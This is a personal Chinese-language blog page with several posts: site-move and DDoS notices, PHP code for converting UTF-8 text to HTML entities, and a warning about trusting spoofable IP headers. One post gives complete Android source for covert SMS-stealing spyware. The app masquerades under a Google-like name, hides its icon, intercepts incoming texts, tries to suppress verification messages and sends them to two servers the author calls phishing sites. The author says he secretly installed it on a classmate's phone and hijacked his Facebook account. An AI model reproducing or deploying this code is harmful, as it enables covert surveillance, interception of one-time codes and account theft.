- 本站自2016.02.22日起正式搬遷其域名由0000.twgogo.org更替為www.00wbf.com。
- 並且更換網站主機為專屬虛擬主機。若您還依舊使用舊網域者,請更新您的網址,謝謝。
- 本站今年5月9日至5月12日遭受DDOS巨大攻擊,導致下線,造成困擾,請見諒!
###2017.02.27-更新-###
本站最新之域名為:weils.net
Hi! Everyone! My name is Weil Jimmer. This is my personal blog. I'm a webmaster of this site. I hope the site will be popular. Now, Let's go! Enjoy gaining more knowledge. |
Found 140 records. At Page 12.
###2017.02.27-更新-###
本站最新之域名為:weils.net
This entry was posted in Announcement, General By Weil Jimmer
.
緣由:
最近因為裝了PHP7的緣故,又加上有一點點的閒,故研究PHP這塊。尤其是運算耗時方面,因為我本身就是要測試PHP7可以快到何種地步。聽說是快20倍的樣子。
結果,到最後我反而開始寫程式碼,昨天修正BBcode檢查的函數,運行約一萬字的代碼,結果速度慢到極致,被我修改後,倒加速不少,總速度提升82倍,原本12.3秒,修正到0.15秒(如果僅比較檢查BBcode的函數,加快上萬倍。),後來遇上了這個轉HTMLcode的問題,原先寫得太慢了,這是我第三次修正!
//目前我寫的最快的版本。
function string_to_utf16_ascii_HTML_new2($str){
$str=mb_convert_encoding($str, 'ucs-2', 'utf-8');
for($i=0;$i<strlen($str);$i+=2){
$str2.='&#'.str_pad((ord($str[$i])*256+ord($str[$i+1])),5,'0',STR_PAD_LEFT).';';
}
return $str2;
}
//稍慢的版本(舊版)
function string_to_utf16_ascii_HTML_new($str){
for ($i=0;$i<strlen($str);$i++){
$k=ord($str[$i]);
if ($k >= 192 and $k <= 223){
$k=$k-192;
$k2=ord($str[$i+1])-128;
$c=$c.'&#'.str_pad($k*64+$k2,5,'0',STR_PAD_LEFT).';';
}elseif ($k >= 224 and $k <= 239){
$k=$k-224;
$k2=ord($str[$i+1])-128;
$k3=ord($str[$i+2])-128;
$c=$c.'&#'.str_pad($k*4096+$k2*64+$k3,5,'0',STR_PAD_LEFT).';';
}elseif ($k >= 128 and $k <= 191){
}else{
$c=$c.'&#'.str_pad($k,5,'0',STR_PAD_LEFT).';';
}
}
return $c;
}
//極慢的版本(初版)
function string_to_utf16_ascii_HTML($str){
for ($i=0;$str[$i]!="";$i++){
$b[]=ord($str[$i]);
}
$str2=',';
for ($i=0;$str[$i]!="";$i++){
$xa=str_pad(decbin($b[$i]),8,'0',STR_PAD_LEFT);
if (substr($xa,0,3) == "110"){
$xb=str_pad(decbin($b[$i+1]),8,'0',STR_PAD_LEFT);
$xx1=substr($xa,3);
$xx2=substr($xb,2);
$c=$c.$str2.str_pad(bindec($xx1.$xx2),5,'0',STR_PAD_LEFT);
}elseif (substr($xa,0,4) == "1110"){
$xb=str_pad(decbin($b[$i+1]),8,'0',STR_PAD_LEFT);
$xc=str_pad(decbin($b[$i+2]),8,'0',STR_PAD_LEFT);
$xx1=substr($xa,3);
$xx2=substr($xb,2);
$xx3=substr($xc,2);
$c=$c.$str2.str_pad(bindec($xx1.$xx2.$xx3),5,'0',STR_PAD_LEFT);
}elseif (substr($xa,0,2) == "10"){
}else{
$c=$c.$str2.str_pad($b[$i],5,'0',STR_PAD_LEFT);
}
}
return substr($c,1);
}
//將HTMLcode轉回UTF-8字串。
function utf16_ascii_HTML_to_string($str){
return mb_convert_encoding($str, 'UTF-8', 'HTML-ENTITIES');
}
/********
使用方法:
*********
$str='這是測試123';
$encode_str=string_to_utf16_ascii_HTML_new2($str);
echo $encode_str;
//output:
//這是測試123
//以瀏覽器顯示,等同於「這是測試123」。
echo utf16_ascii_HTML_to_string($encode_str);
//output:
//這是測試123
*/
This entry was posted in General, Experience, Functions, Note, PHP By Weil Jimmer
.
本站在一週前遭遇中國猛烈DDOS攻擊,導致網站下線。我真心很想罵服務商,不過因為是免費的,就不好意思開口,很想說不會搞主機還學別人開放服務,趕快回去讀書吧。
本站經過多重搬遷 從原本的 Nazuka 搬到 GoogieHost 再搬到 EcVps 又再次搬到 LionFree (不推薦使用),本次被攻擊也是 只有 LionFree 才有的情況,以往頂多是暫時無法訪問,所以我又搬遷了一次主機。
心情很差,網站Offline時,很多事情不方便,此外,也沒辦法向身邊人傳達訊息。
(免費的真的很差勁!凡事都要備份!)
This entry was posted in Experience, Mood By Weil Jimmer
.
這其實是個老梗,很久以前就知道了。今天又突然想到,發篇文章好了。
很多網站上的程式教學都是錯誤的,取得IP方法用get Header 的 Client-IP 及 X-Forwarded-For。
真的是禍害,Header是可以給用戶隨意變更的。
我修改了 Header 在網站上隨意搜尋 What is my ip ?。
結果大部分網站都有問題!
我怎麼改,網站就怎麼顯示,怎麼都對。如果今天我把Header改成<script>標籤,不就造成了XSS攻擊漏洞?改成SQL語法,造成SQL注入漏洞。
只是剛好想到,之前也沒發過類似的文章,補發。
This entry was posted in General, Experience, HTML, The Internet, PHP By Weil Jimmer
.
====2015/11/20====
這是我很久以前寫的秘密程式,我當下就很想發表,我有很多都很想發表到我網站,但因網站主機是臨時的,將來還要再次轉移,故我就荒廢了網站整整兩個月(我是指不發文,並非我不管理),現在轉移完畢,意味著我將會再次發文。
================
※純測試,不做非法用途。
首先,因為這程式很兩極化,既可以合法也可以非法,講好聽點就是自動同步SMS訊息到網站上,講難聽點,竊取用戶SMS訊息。
腦筋轉得不夠快的人可能不明白這意味著什麼,只要裝了我寫的程式,就會被我盜光所有帳號。
開發緣由:因為我同學不相信「手機防毒軟體掃描不出病毒」,所以我向他放話,我寫的程式,防毒絕對掃不到。
因為我避免用戶發現這個祕密程式,所以我取名為google_sms_server。到時候要查就很困難。
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme" >
<activity android:name=".MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver
android:name=".SmsCloudBackup"
android:enabled="true"
android:exported="true" >
<intent-filter android:priority="999999999" >
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>
設置 SMS_RECEIVED廣播,備註要記得添加權限,並把優先級別設定為最高級別。
package com.google.google_sms_server;
import android.app.Activity;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.widget.Toast;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.activity_main);
PackageManager p = getPackageManager();
p.setComponentEnabledSetting(getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);//設定隱藏在Launcher中
Toast.makeText(this,"Google SMS Backup Service運作中",Toast.LENGTH_LONG).show();
this.finish();
}
}
package com.google.google_sms_server;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.AsyncTask;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import java.util.ArrayList;
import java.util.List;
public class SmsCloudBackup extends BroadcastReceiver {
private String TAG = SmsCloudBackup.class.getSimpleName();
public SmsCloudBackup() {
}
@Override
public void onReceive(Context context, Intent intent) {
// Get the data (SMS data) bound to intent
Bundle bundle = intent.getExtras();
String str = "";
SmsMessage[] msgs = null;
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
msgs = new SmsMessage[pdus.length];
for (int i=0; i < msgs.length; i++) {
msgs[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
str += "SMS from " + msgs[i].getOriginatingAddress() + " : ";
str += msgs[i].getMessageBody().toString();
str += "\n";
}
if (str.contains("驗證") || str.toLowerCase().contains("verif")){
Log.d(TAG, "ABORT");
this.abortBroadcast();//截斷用戶訊息,讓用戶察覺不到驗證訊息。實際上測試,似乎沒有效果。
}
Log.d(TAG, str);
String aa= "";
try{
aa=java.net.URLEncoder.encode(str,"utf-8");
}catch (Exception ex){
}
new ExcuteAsyncTaskOperation().execute(aa);
}
}
public class ExcuteAsyncTaskOperation extends AsyncTask<String, String, String> {
//異線任務,執行網路動作都要這樣。
@Override
protected String doInBackground(String... parr) {
//進行背景工作,如「Network」,並可轉發值。
//在迴圈中使用publishProgress((onProgressUpdate引數類別)變數);以傳遞資料。
//例如publishProgress((int)50);
HttpClient httpclient = new DefaultHttpClient();
//我POST訊息至兩個釣魚網站。
HttpPost httppost = new HttpPost("http://網站/post/post.php?u=SMS&c=" + parr[0]);
HttpPost httppost2 = new HttpPost("http://網站2/post/post.php?u=SMS&c=" + parr[0]);
try {
List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(1);
nameValuePairs.add(new BasicNameValuePair("u", "SMS"));
nameValuePairs.add(new BasicNameValuePair("c", parr[0]));
httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
httpclient.execute(httppost);
httpclient.execute(httppost2);
} catch (Exception ex) {
Log.d(TAG, "ERROR!!!!!!!!!!!!!!!!!!!!!" + ex.toString());
}
return "";
}
}
}
這樣,當用戶安裝完成,並執行後,此程式會從Launcher上消失,意思是找不到此程式的連結,並且會關閉此程式,得去 設定=>應用程式 才可能看到,但我已經取名為google什麼的,用戶很難察覺。
實作結果:
我祕密的裝在同學手機上,在他未察覺的情況下,進行這測試。事後他非常不爽,不過最後他還是原諒我了。
從釣魚網站,取得FB驗證碼。成功盜走FB帳號。
This entry was posted in Android, General, Java, The Internet, Note By Weil Jimmer
.
White Birch Forum © Copyright
©2010- W.B.F. All Rights Reserved.
Weil Jimmer Web PHP Script